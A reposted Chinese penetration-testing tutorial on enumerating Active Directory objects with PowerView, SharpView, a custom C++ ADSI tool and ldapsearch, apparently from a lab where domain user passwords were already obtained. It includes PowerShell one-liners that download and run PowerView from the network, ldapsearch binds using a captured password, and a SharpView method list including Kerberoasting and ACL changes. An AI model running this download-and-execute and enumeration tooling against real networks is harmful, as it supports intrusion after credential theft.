域內活動目錄信息的獲取


本文將要以獲取活動目錄中所有用戶、所有計算機和所有組為例,介紹常用的信息獲取方法
這次環境中我們得到了
czf@zhong.czf pass:pass!@#4
zhong.czf域內的普通用戶 和密碼
也獲取到了
pp.zhong.czf/ppo p:pass!@#4
子域的一個用戶和密碼
0x01 簡介

本文將要介紹以下內容:

    域外獲取活動目錄信息的方法
    域內獲取活動目錄信息的方法
    使用C++調用ADSI接口獲取信息的方法

0x02 基礎知識


域環境使用directory database(目錄數據庫)來存儲用戶、計算機賬戶和組等對象

使用LDAP(Lightweight Directory Access Protocol)(輕量目錄訪問協議)來查詢和更新目錄數據庫

常用縮寫詞

  • DN:Distinguished Name
  • CN:Common Name
  • OU:Organizational Unit
  • DC:Domain Controller

其中DN有三個屬性,分別是CN、OU和DC

簡單理解:

域控制器默認會開啟端口389,用作LDAP服務

 
        

0x01windows通過powerview進行數據查詢

當然我們得先看看這個參數

 

 

0x01遠程加載
powershell IEX (New-Object Net.WebClient).DownloadString('https://raw.githubusercontent.com/PowerShellMafia/PowerSploit/master/Recon/PowerView.ps1');Get-NetComputer -FullData   
powershell IEX (New-Object Net.WebClient).DownloadString('https://raw.githubusercontent.com/PowerShellMafia/PowerSploit/master/Recon/PowerView.ps1');Get-NetUser   
powershell IEX (New-Object Net.WebClient).DownloadString('https://raw.githubusercontent.com/PowerShellMafia/PowerSploit/master/Recon/PowerView.ps1');Get-NetSubnet

 

0x02本地加載

PS C:\> import-module .\powerview.ps1
PS C:\> Get-NetDomain  獲取當前的域名稱

Get-Netuser 返回所有域內成員的詳細信息
Get-NetDomainController 獲取所有的域內的控制器信息
Get-NetComputer  獲取所有域內機器的名稱
Get-Netshare  獲取域內的所有的網絡共享
Get-NetRDPSESSION  獲取指定服務的遠程連接信息
Get-ADOPJECT  獲取活動目錄的信息

 0X02使用C#實現

 

參照SharpView,地址:

 

https://github.com/tevora-threat/SharpView

:\>SharpView.exe Get-DomainController -Domain test.local -Server dc.test.local -Credential admin@test.local/password  

C:\>SharpView.exe Get-DomainController -Help
Get-DomainController -Domain <String> -Server <String> -DomainController <String> -LDAP <Boolean> -Credential <NetworkCredential>

Available methods

Get-DomainGPOUserLocalGroupMapping
Find-GPOLocation
Get-DomainGPOComputerLocalGroupMapping
Find-GPOComputerAdmin
Get-DomainObjectAcl
Get-ObjectAcl
Add-DomainObjectAcl
Add-ObjectAcl
Remove-DomainObjectAcl
Get-RegLoggedOn
Get-LoggedOnLocal
Get-NetRDPSession
Test-AdminAccess
Invoke-CheckLocalAdminAccess
Get-WMIProcess
Get-NetProcess
Get-WMIRegProxy
Get-Proxy
Get-WMIRegLastLoggedOn
Get-LastLoggedOn
Get-WMIRegCachedRDPConnection
Get-CachedRDPConnection
Get-WMIRegMountedDrive
Get-RegistryMountedDrive
Find-InterestingDomainAcl
Invoke-ACLScanner
Get-NetShare
Get-NetLoggedon
Get-NetLocalGroup
Get-NetLocalGroupMember
Get-NetSession
Get-PathAcl
ConvertFrom-UACValue
Get-PrincipalContext
New-DomainGroup
New-DomainUser
Add-DomainGroupMember
Set-DomainUserPassword
Invoke-Kerberoast
Export-PowerViewCSV
Find-LocalAdminAccess
Find-DomainLocalGroupMember
Find-DomainShare
Find-DomainUserEvent
Find-DomainProcess
Find-DomainUserLocation
Find-InterestingFile
Find-InterestingDomainShareFile
Find-DomainObjectPropertyOutlier
TestMethod
Get-Domain
Get-NetDomain
Get-DomainComputer
Get-NetComputer
Get-DomainController
Get-NetDomainController
Get-DomainFileServer
Get-NetFileServer
Convert-ADName
Get-DomainObject
Get-ADObject
Get-DomainUser
Get-NetUser
Get-DomainGroup
Get-NetGroup
Get-DomainDFSShare
Get-DFSshare
Get-DomainDNSRecord
Get-DNSRecord
Get-DomainDNSZone
Get-DNSZone
Get-DomainForeignGroupMember
Find-ForeignGroup
Get-DomainForeignUser
Find-ForeignUser
ConvertFrom-SID
Convert-SidToName
Get-DomainGroupMember
Get-NetGroupMember
Get-DomainManagedSecurityGroup
Find-ManagedSecurityGroups
Get-DomainOU
Get-NetOU
Get-DomainSID
Get-Forest
Get-NetForest
Get-ForestTrust
Get-NetForestTrust
Get-DomainTrust
Get-NetDomainTrust
Get-ForestDomain
Get-NetForestDomain
Get-DomainSite
Get-NetSite
Get-DomainSubnet
Get-NetSubnet
Get-DomainTrustMapping
Invoke-MapDomainTrust
Get-ForestGlobalCatalog
Get-NetForestCatalog
Get-DomainUserEvent
Get-UserEvent
Get-DomainGUIDMap
Get-GUIDMap
Resolve-IPAddress
Get-IPAddress
ConvertTo-SID
Invoke-UserImpersonation
Invoke-RevertToSelf
Get-DomainSPNTicket
Request-SPNTicket
Get-NetComputerSiteName
Get-SiteName
Get-DomainGPO
Get-NetGPO
Set-DomainObject
Set-ADObject
Add-RemoteConnection
Remove-RemoteConnection
Get-IniContent
Get-GptTmpl
Get-GroupsXML
Get-DomainPolicyData
Get-DomainPolicy
Get-DomainGPOLocalGroup
Get-NetGPOGroup

 

3.使用C++實現

 

參考地址:

 

https://github.com/microsoft/Windows-classic-samples/tree/master/Samples/Win7Samples/netds/adsi/activedir/QueryUsers/vc

 

https://github.com/outflanknl/Recon-AD

 

微軟的代碼是exe的格式,只介紹了QueryUser的方法,但支持查詢條件(篩選指定用戶)和顯示簡要信息(只輸出名稱,便於統計)

 

Recon-AD的代碼是dll的格式,包含多個功能,但默認只顯示詳細信息

 

於是我將兩者的代碼融合,代碼支持以下功能:

 

  • exe的格式
  • 包含多個功能,支持查詢用戶、計算機和組等
  • 支持查詢條件和顯示簡要信息

 

代碼已上傳至github,地址如下:

 

https://github.com/3gstudent/Homework-of-C-Language/blob/master/QueryADObject.cpp

 

代碼可指定ADS path和搜索條件,用法如下:

 

(1)查詢域用戶

 

列出所有域用戶,只顯示簡要的名稱信息,命令如下:

 

QueryADObject.exe Current "(&(objectClass=user)(objectCategory=person))" ShortData

 

結果輸出如下圖

 

 

 

 

查詢指定用戶的所有信息,命令如下:

 

QueryADObject.exe Current "(&(objectClass=user)(objectCategory=person)(name=testa))" AllData

 

結果輸出如下圖

 

 

 

 

(2)查詢計算機

 

列出所有計算機賬戶,只顯示簡要的名稱信息,命令如下:

 

QueryADObject.exe Current "(&(objectCategory=computer)(objectClass=computer))" ShortData

 

結果輸出如下圖

 

 

 

 

查詢域控制器的詳細信息,需要知道ADS path為"OU=Domain Controllers,DC=test,DC=com",命令如下:

 

QueryADObject.exe "OU=Domain Controllers,DC=test,DC=com" "(&(objectCategory=computer)(objectClass=computer))" AllData

 

結果輸出如下圖

 

 

 

 

(3)查詢組

 

列出所有組,只顯示簡要的名稱信息,命令如下:

 

QueryADObject.exe Current "(&(objectCategory=group))" ShortData

 

列出管理員組的詳細信息,命令如下:

 

QueryADObject.exe Current "(&(objectCategory=group)(name=Domain Admins))" Alldata

 

結果輸出如下圖

 

 

 

 

(4)查詢OU

 

列出所有OU,只顯示簡要的名稱信息,命令如下:

 

QueryADObject.exe Current "(&(objectCategory=organizationalUnit))" ShortData

 

結果輸出如下圖

 

 

 

原文鏈接
https://3gstudent.github.io/3gstudent.github.io/%E6%B8%97%E9%80%8F%E5%9F%BA%E7%A1%80-%E6%B4%BB%E5%8A%A8%E7%9B%AE%E5%BD%95%E4%BF%A1%E6%81%AF%E7%9A%84%E8%8E%B7%E5%8F%96/

 

0x03 域外獲取活動目錄信息的方法


1.Kali系統通過ldapsearch進行數據查詢

測試環境如下圖

Alt text

前提:我們能夠訪問到域控制器(DC)的389端口,並且我們至少已經獲得了域內一個普通用戶的口令

這個測試環境中,我們獲得了域內普通用戶testa的口令為DomainUser123!

連接命令如下:

ldapsearch -x -H ldap://192.168.1.1:389 -D "CN=testa,CN=Users,DC=test,DC=com" -w DomainUser123! -b "DC=test,DC=com"

參數說明:

  • -x 進行簡單認證
  • -H 服務器地址
  • -D 用來綁定服務器的DN
  • -w 綁定DN的密碼
  • -b 指定要查詢的根節點

這條命令會顯示所能查詢到的所有信息,如下圖

Alt text

接下來加入搜索條件,對結果進行分類

(1)查詢所有域用戶

加入搜索條件:"(&(objectClass=user)(objectCategory=person))"

完整命令如下:

ldapsearch -x -H ldap://192.168.1.1:389 -D "CN=testa,CN=Users,DC=test,DC=com" -w DomainUser123! -b "DC=test,DC=com" -b "DC=test,DC=com" "(&(objectClass=user)(objectCategory=person))"

這條命令會輸出所有域用戶的所有屬性,如下圖

Alt text

為了便於統計名稱,可以選擇只列出CN(Common Name),並且使用grep命令對輸出進行過濾

命令如下:

ldapsearch -x -H ldap://192.168.1.1:389 -D "CN=testa,CN=Users,DC=test,DC=com" -w DomainUser123! -b "DC=test,DC=com" -b "DC=test,DC=com" "(&(objectClass=user)(objectCategory=person))" CN | grep cn

結果輸出如下圖

Alt text

(2)查詢所有計算機

加入搜索條件:"(&(objectCategory=computer)(objectClass=computer))"

命令如下:

ldapsearch -x -H ldap://192.168.1.1:389 -D "CN=testa,CN=Users,DC=test,DC=com" -w DomainUser123! -b "DC=test,DC=com" -b "DC=test,DC=com" "(&(objectCategory=computer)(objectClass=computer))" CN | grep cn

結果輸出如下圖

Alt text

(3)查詢所有組

加入搜索條件:"(&(objectCategory=group))"

命令如下:

ldapsearch -x -H ldap://192.168.1.1:389 -D "CN=testa,CN=Users,DC=test,DC=com" -w DomainUser123! -b "DC=test,DC=com" -b "DC=test,DC=com" "(&(objectCategory=group))" CN | grep cn

結果輸出如下圖

Alt text

2.Windows系統通過PowerView進行數據查詢

 

本文將要以獲取活動目錄中所有用戶、所有計算機和所有組為例,介紹常用的信息獲取方法


免責聲明!

本站轉載的文章為個人學習借鑒使用,本站對版權不負任何法律責任。如果侵犯了您的隱私權益,請聯系本站郵箱yoyou2525@163.com刪除。



 
粵ICP備18138465號   © 2018-2025 CODEPRJ.COM